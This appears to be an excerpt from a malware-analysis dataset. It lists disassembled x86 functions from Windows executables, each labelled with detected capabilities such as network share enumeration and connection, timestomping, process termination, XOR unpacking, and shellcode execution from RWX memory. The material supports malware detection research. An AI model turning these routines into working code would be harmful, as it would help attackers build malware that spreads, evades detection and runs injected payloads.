joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406b08
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040354c
mov eax, dword [ebp - 8]
call fcn.0040354c
xor eax, eax
push ebp
push 0x406ce2
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x20
call fcn.00402794
mov eax, dword [ebp - 4]
call fcn.0040355c
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0x48], 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x48]
push eax
push 2
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x406cba
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x18], 0x2000
mov eax, dword [ebp - 0x18]
call fcn.00402494
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0x103
je 0x406ca1
cmp eax, 0xea
jne 0x406bf8
mov dword [ebp - 0x14], 0xffffffff
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 0x18]
call fcn.004024d4
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
jne 0x406cba
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
dec eax
test eax, eax
jl 0x406b91
inc eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x4c]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.00403314
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 8]
call fcn.004034a8
je 0x406c90
mov byte [ebp - 0x21], 0
mov eax, dword [0x40b800]
call fcn.00403c24
mov ebx, eax
test ebx, ebx
jl 0x406c74
inc ebx
xor edi, edi
lea eax, [ebp - 0x54]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.00403314
mov eax, dword [ebp - 0x54]
lea ecx, [ebp - 0x50]
lea edx, [ebp - 0x20]
call fcn.00405288
mov eax, dword [0x40b800]
mov eax, dword [eax + edi*4]
cmp eax, dword [ebp - 0x20]
jne 0x406c70
mov byte [ebp - 0x21], 1
jmp 0x406c74
inc edi
dec ebx
jne 0x406c41
cmp byte [ebp - 0x21], 0
jne 0x406c90
lea eax, [ebp - 0x58]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.00403314
mov eax, dword [ebp - 0x58]
call fcn.00407d08
add esi, 0x20
dec dword [ebp - 0x28]
jne 0x406c0f
jmp 0x406b91
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
jne 0x406cba
mov byte [ebp - 9], 1
mov eax, dword [ebp - 0x10]
call fcn.004024b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406ce9
lea eax, [ebp - 0x58]
mov edx, 4
call fcn.00403140
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403140
ret
Function at 0x406fc8
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040354c
xor eax, eax
push ebp
push 0x40712a
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea eax, [ebp - 0x38]
xor ecx, ecx
mov edx, 0x20
call fcn.00402794
mov eax, dword [ebp - 4]
call fcn.0040355c
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x38]
push eax
push 1
push 0
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x40710c
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x2000
mov eax, dword [ebp - 0x14]
call fcn.00402494
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0x103
je 0x4070f3
cmp eax, 0xea
jne 0x407091
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0x14]
call fcn.004024d4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
jne 0x40710c
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
dec esi
test esi, esi
jl 0x40702a
inc esi
mov eax, dword [ebx]
call fcn.00403c1c
inc eax
push eax
mov eax, ebx
mov ecx, 1
mov edx, dword [0x406318]
call fcn.00403dd8
add esp, 4
mov eax, dword [ebx]
call fcn.00403c24
mov edx, dword [ebx]
lea eax, [edx + eax*4]
push eax
lea eax, [ebp - 0x3c]
mov edx, dword [edi + 0x14]
add edx, 2
call fcn.00403314
mov ecx, dword [ebp - 0x3c]
mov edx, 0x407144
pop eax
call fcn.004033a8
add edi, 0x20
dec esi
jne 0x4070a1
jmp 0x40702a
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
jne 0x40710c
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0xc]
call fcn.004024b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407131
lea eax, [ebp - 0x3c]
call fcn.0040311c
lea eax, [ebp - 4]
call fcn.0040311c
ret
Function at 0x4071f4
Capabilities:
Get file size
Read file on windows
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040354c
xor eax, eax
push ebp
push 0x4073bc
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00404904
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4073a6
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov esi, eax
cmp esi, 0xa00000
jae 0x4073a0
cmp esi, dword [0x40b81c]
jl 0x4072cb
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [0x40b81c]
push eax
mov eax, dword [0x40b808]
push eax
push ebx
call sub.kernel32.dll_ReadFile
mov eax, dword [0x40b814]
sub eax, dword [0x40b80c]
add eax, dword [0x40b810]
mov dword [ebp - 0xc], eax
mov ecx, dword [0x40b814]
sub ecx, dword [0x40b80c]
mov edx, dword [0x40b80c]
mov eax, dword [0x40b808]
call fcn.00407178
test al, al
je 0x4072c7
mov eax, dword [0x40b80c]
mov edx, dword [ebp - 0xc]
lea edx, [eax + edx]
mov eax, dword [0x40b808]
mov ecx, dword [ebp - 0xc]
add eax, ecx
mov ecx, dword [0x40b81c]
sub ecx, dword [ebp - 0xc]
call fcn.00407178
test al, al
je 0x4072c7
xor eax, eax
jmp 0x4072cd
mov al, 1
jmp 0x4072cd
mov al, 1
test al, al
je 0x4073a0
mov eax, esi
call fcn.00402494
mov edi, eax
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
mov edx, edi
mov ecx, esi
mov eax, ebx
call fcn.004045f8
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.kernel32.dll_GetFileTime
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
mov edx, dword [0x40b80c]
mov ecx, dword [0x40b81c]
mov eax, ebx
call fcn.00404980
mov edx, edi
mov ecx, esi
mov eax, ebx
call fcn.00404980
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x28]
mov edx, esi
mov eax, edi
call fcn.00405064
test al, al
je 0x407385
cmp dword [ebp - 0x28], 0
jbe 0x407385
cmp dword [ebp - 0x2c], 0
je 0x407385
mov esi, dword [0x40b814]
sub esi, dword [0x40b80c]
push 0
push 0
push esi
push ebx
call sub.kernel32.dll_SetFilePointer
cmp esi, eax
jne 0x407385
mov edx, dword [ebp - 0x28]
mov eax, dword [0x40b810]
call fcn.00406410
mov ecx, eax
mov edx, dword [ebp - 0x2c]
mov eax, ebx
call fcn.00404980
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.kernel32.dll_SetFileTime
mov edx, esi
mov eax, edi
call fcn.004024b4
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4073c3
lea eax, [ebp - 4]
call fcn.0040311c
ret
Function at 0x4073d0
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040354c
xor eax, eax
push ebp
push 0x40748f
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
mov ecx, 0x4074a8
mov edx, dword [ebp - 4]
call fcn.004033a8
mov eax, dword [ebp - 0xc]
call fcn.004048f4
test al, al
jne 0x40746c
lea eax, [ebp - 0x10]
mov ecx, 0x4074a8
mov edx, dword [ebp - 4]
call fcn.004033a8
mov eax, dword [ebp - 0x10]
call fcn.0040495c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40746c
lea edx, [ebp - 8]
mov ecx, 1
mov eax, dword [ebp - 8]
call fcn.00404980
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
push 6
lea eax, [ebp - 0x14]
mov ecx, 0x4074a8
mov edx, dword [ebp - 4]
call fcn.004033a8
mov eax, dword [ebp - 0x14]
call fcn.0040355c
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407496
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00403140
lea eax, [ebp - 4]
call fcn.0040311c
ret

Function at 0x407d08
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040354c
lea edi, [ebp - 0x2c]
xor eax, eax
push ebp
push 0x407e33
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
xor eax, eax
push ebp
push 0x407df8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov ecx, dword [ebp - 4]
mov edx, 0x407e4c
call fcn.004033a8
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0xc]
call fcn.00406fc8
mov eax, dword [ebp - 0xc]
call fcn.00403c24
mov esi, eax
test esi, esi
jl 0x407dee
inc esi
xor ebx, ebx
xor eax, eax
mov dword [edi + 4], eax
xor eax, eax
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
call fcn.0040355c
mov dword [edi + 0x14], eax
xor eax, eax
mov dword [edi + 0x1c], eax
push 0
push 0
push 0x407e50
push edi
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
je 0x407db6
push 0
push 0
push 0
push edi
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x407dea
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + ebx*4]
lea eax, [ebp - 0x34]
mov ecx, 0x407e5c
call fcn.004033a8
mov eax, dword [ebp - 0x34]
xor edx, edx
call fcn.004074b8
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
call fcn.0040355c
push eax
call sub.mpr.dll_WNetCancelConnectionA
inc ebx
dec esi
jne 0x407d76
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x407e02
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e3a
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.00403140
lea eax, [ebp - 0xc]
mov edx, dword [0x407ce4]
call fcn.00403de4
lea eax, [ebp - 4]
call fcn.0040311c
ret
Function at 0x4087fc
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call fcn.0040354c
mov eax, dword [ebp - 0x18]
call fcn.0040354c
mov eax, dword [ebp - 0x1c]
call fcn.0040354c
xor eax, eax
push ebp
push 0x408900
push dword fs:[eax]
mov dword fs:[eax], esp
push ebp
mov eax, dword [ebp - 0x14]
call fcn.0040355c
push eax
mov eax, dword [ebp - 0x18]
call fcn.0040355c
mov edx, eax
mov eax, dword [0x40b650]
pop ecx
call fcn.00408784
pop ecx
test al, al
je 0x4088e5
mov eax, dword [ebp - 0x1c]
call fcn.004048f4
test al, al
je 0x408876
mov eax, dword [ebp - 0x1c]
call fcn.0040355c
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
push ebp
push 0x4088ca
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x1c]
call fcn.0040355c
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4088d4
mov eax, dword [ebp - 0x10]
call fcn.0040453c
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_FreeResource
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408907
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00403140
ret
Function at 0x408bd8
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x408e1b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
mov ecx, 0x408e28
mov edx, 0x408e38
mov eax, 0x80000002
call fcn.004051dc
cmp dword [ebp - 8], 0
je 0x408df0
mov edx, dword [ebp - 8]
mov eax, 0x408e88
call fcn.00403644
test eax, eax
je 0x408c6a
lea edx, [ebp - 8]
mov ecx, 0x7fffffff
xchg edx, eax
call fcn.004035fc
lea edx, [ebp - 0x14c]
mov eax, dword [ebp - 8]
call fcn.0040464c
mov edx, dword [ebp - 0x14c]
lea eax, [ebp - 8]
call fcn.004031b4
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x150]
mov ecx, 0x408e94
mov edx, dword [ebp - 8]
call fcn.004033a8
mov eax, dword [ebp - 0x150]
call fcn.0040355c
push eax
call sub.kernel32.dll_FindFirstFileA
mov esi, eax
lea eax, [ebp - 4]
call fcn.0040311c
cmp esi, 0xffffffff
setne al
jmp 0x408de2
mov bl, byte [ebp - 0x11c]
cmp bl, 0x30
jb 0x408cd6
cmp bl, 0x39
jbe 0x408d04
lea eax, [ebp - 0x154]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.00403344
mov eax, dword [ebp - 0x154]
mov edx, 0x408ea4
call fcn.004046c8
test eax, eax
jne 0x408dcf
push 0
push 0x80
push 3
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x15c]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.00403344
mov ecx, dword [ebp - 0x15c]
lea eax, [ebp - 0x158]
mov edx, dword [ebp - 8]
call fcn.004033a8
mov eax, dword [ebp - 0x158]
call fcn.0040355c
push eax
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
jne 0x408dc9
lea eax, [ebp - 0x160]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.00403344
mov eax, dword [ebp - 0x160]
lea edx, [ebp - 4]
call fcn.0040474c
mov eax, dword [ebp - 4]
call fcn.00409100
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.00403344
mov eax, dword [ebp - 0x164]
mov edx, 0x408ea4
call fcn.004046c8
test eax, eax
jne 0x408dcf
lea edx, [ebp - 0x168]
mov eax, 0x408ec0
call fcn.0040474c
mov eax, dword [ebp - 0x168]
call fcn.00409100
jmp 0x408dcf
push eax
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x148]
push eax
push esi
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x408cc6
push esi
call sub.kernel32.dll_FindClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408e22
lea eax, [ebp - 0x168]
mov edx, 8
call fcn.00403140
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403140
ret
Function at 0x408ed0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x6c], eax
xor eax, eax
push ebp
push 0x409010
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409020
push 0x40902c
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
push 0x409038
push 0x40904c
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
push 0x40905c
push 0x40904c
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
xor ebx, ebx
call sub.user32.dll_GetDesktopWindow
mov esi, eax
push 0
push 0x409070
push ebx
push esi
call sub.user32.dll_FindWindowExA
mov ebx, eax
push 7
lea eax, [ebp - 0x65]
push eax
push ebx
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 0x6c]
lea edx, [ebp - 0x65]
mov ecx, 0x65
call fcn.00403344
mov eax, dword [ebp - 0x6c]
mov edx, 0x409080
call fcn.004034a8
jne 0x408f92
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
test ebx, ebx
jne 0x408f4b
push 0
push 0x409088
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
push 0x409098
push 0x4090a4
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
mov eax, 0x4090b8
call fcn.00409100
mov eax, 0x4090cc
call fcn.00409100
mov eax, 0x4090e0
call fcn.00409100
mov eax, 0x4090f4
call fcn.00409100
call fcn.00408bd8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409017
lea eax, [ebp - 0x6c]
call fcn.0040311c
ret

Function at 0x409100
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040354c
lea esi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x409216
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, 0xf
call fcn.0040567c
mov ebx, eax
mov edx, esi
mov eax, ebx
call fcn.0040569c
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x4091e2
lea eax, [ebp - 0x134]
lea edx, [esi + 0x24]
mov ecx, 0x104
call fcn.00403344
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00404700
mov eax, dword [ebp - 0x130]
mov edx, dword [ebp - 4]
call fcn.004046c8
test eax, eax
je 0x4091bb
lea eax, [ebp - 0x138]
lea edx, [esi + 0x24]
mov ecx, 0x104
call fcn.00403344
mov eax, dword [ebp - 0x138]
mov edx, dword [ebp - 4]
call fcn.004046c8
test eax, eax
jne 0x4091d3
mov eax, dword [esi + 8]
push eax
push 0xffffffffffffffff
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
push 0
push eax
call sub.kernel32.dll_TerminateProcess
mov edx, esi
mov eax, ebx
call fcn.004056bc
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x409160
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40921d
lea eax, [ebp - 0x138]
mov edx, 3
call fcn.00403140
lea eax, [ebp - 4]
call fcn.0040311c
ret
Function at 0x40931c
Capabilities:
Create thread
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov eax, 0x409284
call fcn.004041c8
mov esi, dword [0x40a164]
xor eax, eax
push ebp
push 0x409488
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x40a140]
mov dword [esi], eax
mov edx, dword [0x40a160]
xor eax, eax
call fcn.004026c4
mov eax, 0x100000
call fcn.00402494
mov edx, dword [0x40a154]
mov dword [edx], eax
cmp dword [esi], 0x100000
jg 0x40946d
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.004026c4
mov eax, dword [ebp - 0x14]
mov edx, 0x40
call fcn.00404904
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40946d
mov eax, dword [esi]
call fcn.00402494
mov edx, dword [0x40a14c]
mov dword [edx], eax
push 0
push 0x41803c
mov eax, dword [esi]
push eax
mov eax, dword [0x40a14c]
mov eax, dword [eax]
push eax
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [esi]
cmp eax, dword [0x41803c]
jne 0x40946d
mov eax, dword [0x40a15c]
push eax
mov ecx, dword [0x40a158]
mov edx, dword [esi]
mov eax, dword [0x40a14c]
mov eax, dword [eax]
call fcn.00405064
test al, al
je 0x40946d
call fcn.00407eb0
call fcn.00408730
test al, al
jne 0x40946d
mov ecx, 0x409498
mov edx, 0x4094a0
mov eax, 0x80000002
call fcn.004051a4
test al, al
jne 0x409439
call fcn.00408ed0
push 0x418038
push 0
push 0
push 0x408910
push 0
push 0
call sub.kernel32.dll_CreateThread
push 0x418038
push 0
push 0
push 0x408a3c
push 0
push 0
call sub.kernel32.dll_CreateThread
call fcn.00408384
lea eax, [ebp - 0x18]
call fcn.00407148
mov eax, dword [ebp - 0x18]
mov edx, dword [0x40a160]
mov edx, dword [edx]
call fcn.00406d18
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40948f
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00403140
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x53e75ec
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x76e43039
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401200
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0xffffffff
jne 0x401231
jmp 0x4012c8
mov dword [ebp - 0x12c], 0x128
push 0x124
push 0
lea eax, [ebp - 0x128]
push eax
call fcn.00402f20
add esp, 0xc
mov dword [ebp - 0x134], 0
lea ecx, [ebp - 0x12c]
push ecx
mov edx, dword [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_Process32First]
mov dword [ebp - 0x138], eax
jmp 0x401291
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32Next]
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0
je 0x4012ab
mov edx, dword [ebp - 0x134]
add edx, 1
mov dword [ebp - 0x134], edx
jmp 0x401277
cmp dword [ebp - 0x134], 0x50
jg 0x4012bb
push 1
call fcn.00404c8b
mov eax, dword [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b3f
mov esp, ebp
pop ebp
ret

Function at 0x401350
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00401200
call fcn.004012e0
call fcn.00401020
lea eax, [ebp - 8]
push eax
push 0x40
push 0xeef
push 0x4168c0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0xc], 0x4168c0
call dword [ebp - 0xc]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b3f
mov esp, ebp
pop ebp
ret

Function at 0x401730
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x270
jne 0x40174e
mov ecx, dword [ebp - 8]
call fcn.004017d0
jmp 0x401761
mov ecx, dword [ebp - 8]
cmp dword [ecx], 0x4e0
jb 0x401761
mov ecx, dword [ebp - 8]
call fcn.00401860
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + eax*4 + 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
add ecx, 1
mov edx, dword [ebp - 8]
mov dword [edx], ecx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
shr ecx, 0xb
mov edx, dword [ebp - 8]
and ecx, dword [edx + 0x1384]
xor ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
shl eax, 7
and eax, 0x9d2c5680
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
shr edx, 0x12
xor edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret